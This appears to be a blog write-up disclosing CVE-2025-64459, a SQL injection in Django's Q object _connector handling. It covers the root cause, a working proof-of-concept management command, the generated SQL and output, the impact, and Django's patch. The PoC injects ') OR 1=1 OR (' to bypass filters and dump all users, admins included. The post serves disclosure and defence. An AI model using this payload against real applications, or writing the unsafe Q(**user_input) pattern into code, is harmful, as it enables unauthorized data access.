Summary
I discovered a critical SQL injection vulnerability in the Django ORM’s handling of Q objects (CVE-2025-64459). The internal WhereNode.as_sql method uses unsafe string formatting (%s) to inject the query connector (e.g., ‘AND’, ‘OR’) into the raw SQL query. An attacker can control this connector value via the _connector key when a Q object is created using dictionary unpacking (e.g., Q(**user_input)). This allows the attacker to inject arbitrary SQL into the WHERE clause, completely bypassing the ORM’s parameterization safeguards, leading to filter bypass and full data exfiltration from the queried model.
Vulnerability Details
The root cause of this vulnerability is in django/db/models/sql/where.py, within the WhereNode.as_sql method. This method is responsible for joining multiple filter conditions together. The code responsible for inserting the connector between conditions was:
conn = ' %s ' % self.connector
The method performs no validation or sanitization on the self.connector attribute before embedding it directly into the SQL query string.
The framework allows a developer to specify this connector via the _connector argument when initializing a Q object. While this is a documented feature, it becomes a critical vulnerability when combined with a very common application pattern: accepting a dictionary of filters from a user (e.g., from a JSON API) and unpacking it directly into a Q object.
A typical vulnerable application pattern looks like this:
# An example of a vulnerable application pattern
filter_dictionary = request.json.get('filters', {})
# VULNERABLE LINE: The application trusts all keys in the dictionary.
query = Q(**filter_dictionary)
results = User.objects.filter(query)
If an attacker controls the contents of filter_dictionary, they can insert a _connector key with a malicious SQL payload. This payload is then assigned to self.connector and injected directly into the query’s structure, bypassing parameterisation.
Proof of Concept (PoC)
Here are the step-by-step instructions to reproduce the vulnerability. You must be running a vulnerable Django version such as 5.1 before 5.1.14, 4.2 before 4.2.26, and 5.2 before 5.2.8 for this to suceed.
1. Project Setup
First, create a new Django project and an app named webapp.
django-admin startproject sqli .
python manage.py startapp webapp
Then, add the webapp to INSTALLED_APPS in sqli/settings.py:
# sqli/settings.py
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'webapp', # <-- Add this
]
2. Create the Model
Modify webapp/models.py to add an example User model:
# webapp/models.py
from django.db import models
class User(models.Model):
username = models.CharField(max_length=100)
is_admin = models.BooleanField(default=False)
def __str__(self):
return f"{self.username} (Admin: {self.is_admin})"
3. Create the PoC Exploit Command
Create the directory webapp/management/commands/ and add empty __init__.py files in both management/ and commands/.
After this, create a file named poc.py in webapp/management/commands/ and add the following code. This command simulates a vulnerable application function and executes the attack.
# webapp/management/commands/poc.py
from django.core.management.base import BaseCommand
from django.db.models import Q
from webapp.models import User
from django.db import connection
def process_vulnerable_request(search_dict):
"""
This function simulates a VULNERABLE part of an application.
It takes a dictionary of filters (as if from a JSON API request)
and uses the unpacking pattern without validating the keys.
"""
print("--> Entering vulnerable function: Q(**search_dict)")
# THE VULNERABLE LINE: Unpacking a user-controlled dictionary.
query = Q(**search_dict)
return User.objects.filter(query)
class Command(BaseCommand):
help = "Demonstrates a realistic SQLi PoC via Q object's **kwargs unpacking"
def handle(self, *args, **options):
# 1. SETUP
User.objects.all().delete()
User.objects.create(username="alice", is_admin=False)
User.objects.create(username="root", is_admin=True)
self.stdout.write("Sample users created: 'alice' (non-admin) and 'root' (admin)")
self.stdout.write("-" * 40)
# 2. THE MALICIOUS PAYLOAD
# This dictionary simulates a JSON payload sent by an attacker.
# It includes the malicious '_connector' key.
malicious_user_payload = {
"is_admin": False,
"username": "nonexistent_user",
"_connector": ") OR 1=1 OR ("
}
self.stdout.write(f"Simulating malicious user payload:\n{malicious_user_payload}")
self.stdout.write("-" * 40)
# 3. EXECUTING THE VULNERABLE CODE
queryset = process_vulnerable_request(malicious_user_payload)
self.stdout.write("-" * 40)
# 4. THE PROOF (Displaying the generated SQL)
compiler = queryset.query.get_compiler(using='default')
sql, params = compiler.as_sql()
self.stdout.write("Generated SQL:")
self.stdout.write(sql % tuple(f"'{p}'" for p in params))
self.stdout.write("-" * 40)
# 5. THE IMPACT
self.stdout.write("Query Results:")
results = list(queryset)
for user in results:
self.stdout.write(f" - Found user: {user}")
if any(user.is_admin for user in results):
self.stdout.write("\n SUCCESS: The filter was bypassed via dictionary unpacking! The admin user was returned.")
else:
self.stdout.write("\n- FAILED: The injection did not bypass the filter.")
4. Run the PoC
Run the following commands to migrate the database and execute the exploit:
python manage.py makemigrations
python manage.py migrate
python manage.py poc
5. Expected Output
The output of the command clearly demonstrates the successful injection. The malicious payload ) OR 1=1 OR ( is injected directly into the WHERE clause, bypassing the intended is_admin = False filter and returning all users from the table.
Sample users created: 'alice' (non-admin) and 'root' (admin)
----------------------------------------
Simulating malicious user payload:
{'is_admin': False, 'username': 'nonexistent_user', '_connector': ') OR 1=1 OR ('}
----------------------------------------
--> Entering vulnerable function: Q(**search_dict)
----------------------------------------
Generated SQL:
SELECT "webapp_user"."id", "webapp_user"."username", "webapp_user"."is_admin"
FROM "webapp_user" WHERE (NOT "webapp_user"."is_admin" ) OR 1=1 OR ( "webapp_user"."username" = 'nonexistent_user')
----------------------------------------
Query Results:
- Found user: alice (Admin: False)
- Found user: root (Admin: True)
Potential Impact
The impact of this vulnerability is critical. An attacker who can control the keys of a dictionary used to filter a model can:
- Bypass Access Controls: Retrieve any and all records from the queried table by injecting a condition that is always true (e.g.,
OR 1=1), thereby bypassing all other filters in theWHEREclause. - Exfiltrate Sensitive Data: An attacker can leak the data of all users, including administrators, from a
Usertable. This applies to any model exposed via a vulnerable filter. - Denial of Service (DoS): A complex injected SQL payload could potentially be used to cause a DoS condition by overloading the database.
Patch and Remediation
Django implemented a robust, multi-layer validation strategy to address this vulnerability, ensuring it was fixed at both the high-level API and at the low-level query construction layer.
Layer 1: QuerySet Validation
File: django/db/models/query.py
The first layer of defense was added to the QuerySet object itself. The code that handles kwargs in methods like .filter() and .exclude() was hardened. This validation now inspects the keys passed in the dictionary and explicitly disallows _connector, preventing it from ever being processed by the Q object constructor in this common scenario.
Layer 2: The Core Patch (Defense-in-Depth)
File: django/db/models/sql/where.py
This is the most critical, low-level fix that neutralizes the vulnerability at its source. Even if a malicious _connector value managed to bypass high-level checks, this patch in the WhereNode.as_sql method stops the injection.
The patch introduces a strict allow-list check at the very beginning of the method, before the self.connector value is ever used in string formatting.

Welcome to My Blog
Stay updated with expert insights, advice, and stories. Discover valuable content to keep you informed, inspired, and engaged with the latest trends and ideas.




Leave a Reply